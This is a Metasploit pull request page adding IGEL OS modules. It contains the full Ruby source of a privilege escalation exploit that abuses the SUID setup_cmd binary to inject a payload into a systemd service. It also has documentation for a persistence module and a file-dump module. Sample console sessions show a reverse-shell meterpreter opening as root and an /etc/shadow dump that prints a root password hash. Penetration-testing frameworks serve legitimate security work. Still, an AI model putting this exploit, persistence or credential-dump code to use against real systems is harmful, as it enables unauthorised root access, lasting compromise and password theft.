Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
22 commits
Select commit Hold shift + click to select a range
f29505d
Add IGEL OS modules
Zedeldi Nov 17, 2025
1436803
Strip first line and quotes
Zedeldi Nov 17, 2025
c37f787
Add documentation for IGEL OS modules
Zedeldi Nov 17, 2025
796d941
Code formatting changes
Zedeldi Nov 17, 2025
c6db0d4
Move IGEL OS persistence module to linux/persistence
Zedeldi Nov 17, 2025
22aead0
Use vprint_status for modify_service and restart_service
Zedeldi Nov 19, 2025
beed317
Use create_process instead of cmd_exec
Zedeldi Nov 19, 2025
bc2c397
Add check for root access to igel_persistence
Zedeldi Nov 19, 2025
8d28ce6
Revert to cmd_exec for modify_service and improve code style
Zedeldi Nov 19, 2025
ba702d4
Remove x86 target and redundant DefaultOptions
Zedeldi Nov 21, 2025
b131378
Add IGEL OS and vulnerability summary to documentation
Zedeldi Nov 21, 2025
dc9eddc
Use store_loot for igel_dump_file
Zedeldi Nov 21, 2025
425adfa
Prefer create_process over cmd_exec for commands with arguments
Zedeldi Nov 21, 2025
c0a756a
Verify registry has been written successfully
Zedeldi Nov 21, 2025
da33eed
Use fail_with instead of a check method
Zedeldi Nov 21, 2025
0c4d1e7
Add support for ARCH_CMD payload
Zedeldi Nov 24, 2025
002795c
Update module information in documentation
Zedeldi Nov 24, 2025
933fb7b
Add clean-up information
Zedeldi Nov 24, 2025
ffaf43a
Add writable? and file? checks to write_payload
Zedeldi Nov 24, 2025
ce926fd
Update vulnerable IGEL OS version to < 11.09.310
Zedeldi Nov 24, 2025
4b2798f
Correct vulnerable version information
Zedeldi Nov 24, 2025
d1fe177
Add check methods and update DisclosureDate
Zedeldi Nov 24, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
57 changes: 57 additions & 0 deletions documentation/modules/exploit/linux/local/igel_network_priv_esc.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
## Vulnerable Application

IGEL OS < 11.10.150 with a `shell` or `meterpreter` session.

IGEL OS is a Linux-based operating system designed for endpoint devices,
primarily used in enterprise environments to provide secure access to virtual
workspaces. It focuses on enhancing security, simplifying management, and
improving user productivity across various sectors, including healthcare and
finance.

In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset
list of files it could execute with elevated permissions. This allowed a bash
script `/config/bin/network` to be executed as root, which in turn called
`systemctl $1 network-manager.service`, allowing a systemd unit to be modified
by an unprivileged user.

The network service is restarted after the systemd unit configuration is updated,
causing a brief notification and loss of network connectivity. Once restarted,
a session should be created as root.

All files on disk (including the payload) are registered for clean-up.

## Verification Steps

1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.150 host
2. Use: `use exploit/linux/local/igel_network_priv_esc`
3. Set: `set SESSION <id>`, replacing `<id>` with the session ID
4. Set payload options, e.g. `LHOST`
5. Exploit: `run`
6. A new session is created as root

## Options

None.

## Scenarios

```
msf exploit(linux/local/igel_network_priv_esc) > set SESSION 1
SESSION => 1
msf exploit(linux/local/igel_network_priv_esc) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(linux/local/igel_network_priv_esc) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Uploading payload to target
[*] Writing config to target
[*] Applying service config
[*] Restarting service
[*] Sending stage (3090404 bytes) to 192.168.56.7
[+] Deleted /tmp/WHQCVmDB
[+] Deleted /tmp/fylZWXSF
[+] Deleted /tmp/LBnyPcKt
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:51938) at 2025-11-17 16:00:48 +0000

meterpreter > getuid
Server username: root
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
## Vulnerable Application

IGEL OS with a `shell` or `meterpreter` session.

IGEL OS is a Linux-based operating system designed for endpoint devices,
primarily used in enterprise environments to provide secure access to virtual
workspaces. It focuses on enhancing security, simplifying management, and
improving user productivity across various sectors, including healthcare and
finance.

Most of the operating system is read-only, mounted from SquashFS images
stored in their proprietary filesystem, with the exception of a few persistent
locations. Therefore, changes to the system will likely be lost on a reboot,
unless written to specific locations, such as `/license` or registry.

This module requires root access in order to write to privileged locations
in registry and optionally remount and write to `/license`.

By default, the module writes a command payload to registry to fetch and execute
the binary payload on establishing a network connection after a reboot.

See [igelfs](https://github.com/Zedeldi/igelfs) for more information about
the IGEL filesystem and an unofficial Python implementation.

## Verification Steps

1. Get a `shell` or `meterpreter` session on an IGEL OS host
2. Use: `use exploit/linux/persistence/igel_persistence`
3. Set: `set SESSION <id>`, replacing `<id>` with the session ID
4. Set payload options, e.g. `LHOST`
5. Exploit: `run`
6. The payload is executed on next boot/login (dependent on `REGISTRY_KEY`)

## Options

| Name | Description |
| ------------- | ------------------------------------------------------- |
| REGISTRY_KEY | Registry key to use for automatically executing payload |
| REGISTRY_ONLY | Set whether to store payload in registry (dropper only) |
| TARGET_DIR | Directory to write payload (dropper only) |

## Scenarios

```
msf exploit(linux/persistence/igel_persistence) > set SESSION 2
SESSION => 2
msf exploit(linux/persistence/igel_persistence) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(linux/persistence/igel_persistence) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Uploading payload to /license
[*] Writing persistence to registry
[*] Registry written successfully
[*] The payload should be executed when the target reboots
[*] Exploit completed, but no session was created.
```
55 changes: 55 additions & 0 deletions documentation/modules/post/linux/gather/igel_dump_file.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
## Vulnerable Application

IGEL OS < 11.09.260 with a `shell` or `meterpreter` session.

IGEL OS is a Linux-based operating system designed for endpoint devices,
primarily used in enterprise environments to provide secure access to virtual
workspaces. It focuses on enhancing security, simplifying management, and
improving user productivity across various sectors, including healthcare and
finance.

In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset
list of files it could execute with elevated permissions. This allowed
`/bin/date -f` to be used for data extraction as root.

The dumped file is printed to screen and saved as loot.

## Verification Steps

1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.09.260 host
2. Use: `use post/linux/gather/igel_dump_file`
3. Set: `set SESSION <id>`, replacing `<id>` with the session ID
4. Optionally, set `RPATH`
5. Run: `run`
6. Contents of file is displayed

## Options

| Name | Description |
| ------------- | -------------------------- |
| RPATH | File on the target to dump |

## Scenarios

```
msf post(linux/gather/igel_dump_file) > set SESSION 1
SESSION => 1
msf post(linux/gather/igel_dump_file) > set RPATH /etc/shadow
RPATH => /etc/shadow
msf post(linux/gather/igel_dump_file) > run
[*] Executing command on target
[*] Command completed:
games:!!:20409::::::
man:!!:20409::::::
proxy:!!:20409::::::
backup:!!:20409::::::
list:!!:20409::::::
irc:!!:20409::::::
gnats:!!:20409::::::
systemd-coredump:!!:20409::::::
root:$6$BEtW8dG/eZ2nHb2X$vE1ZoeP.Z00bSB6dF9PVNHB3gcT1Wh5U2WUMPDBqBwMmZg.cshgiApIXVmDk.S.RhWTxKoZbZRWyqyMyHkzby.:20409:0:99999::::
rtkit:*:20409:0:99999:7:::
user:*:20409:0:99999::::
ruser::20409:0:99999::::
[*] Post module execution completed
```
120 changes: 120 additions & 0 deletions modules/exploits/linux/local/igel_network_priv_esc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Linux
include Msf::Post::Linux::System
include Msf::Post::Unix
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'IGEL OS Privilege Escalation (via systemd service)',
'Description' => %q{
Escalate privileges for IGEL OS Workspace Edition sessions, by modifying
network-manager.service using setup_cmd (SUID) and network, then restarting
the service.
},
'Author' => 'Zack Didcott',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => [ARCH_X64],
'Targets' => [
[
'Linux x86_64', {
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
],
'DefaultTarget' => 0,
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2024-07-10', # Patch release date
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS]
}
)
)

register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end

def check
version = Rex::Version.new(
read_file('/etc/system-release').delete_prefix('IGEL OS').strip
)
unless version < Rex::Version.new('11.10.150')
return CheckCode::Safe("IGEL OS #{version} is not vulnerable")
end

CheckCode::Appears("IGEL OS #{version} should be vulnerable")
end

def exploit
print_status('Uploading payload to target')
payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700)

print_status('Writing config to target')
config = build_config(payload_file)
config_file = write_payload(config, datastore['WritableDir'], 0o600)

print_status('Applying service config')
vprint_status(modify_service(config_file))

print_status('Restarting service')
vprint_status(restart_service)
end

def write_payload(contents, dir, perm)
fail_with(Failure::NoAccess, "Directory '#{dir}' is not writable") unless writable?(dir)
fail_with(Failure::NoAccess, "Directory '#{dir}' is on a noexec mount point") if noexec?(dir)

filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"

write_file(filepath, contents)
chmod(filepath, perm)

unless file?(filepath)
fail_with(Failure::Unknown, "Failed to write to '#{filepath}'")
end

register_files_for_cleanup(filepath)

return filepath
end

def build_config(payload_file)
config = <<~CONFIG.strip
[Service]
TimeoutStartSec=infinity
ExecStartPost=#{payload_file}
CONFIG
return config
end

def modify_service(config_file)
command = <<~COMMAND.strip
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF
env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit
EOF
COMMAND

script_file = write_payload(command, datastore['WritableDir'], 0o700)
cmd_exec(script_file)
end

def restart_service
create_process('/config/bin/setup_cmd', args: ['/config/bin/network', 'restart'], time_out: 120)
end
end
Loading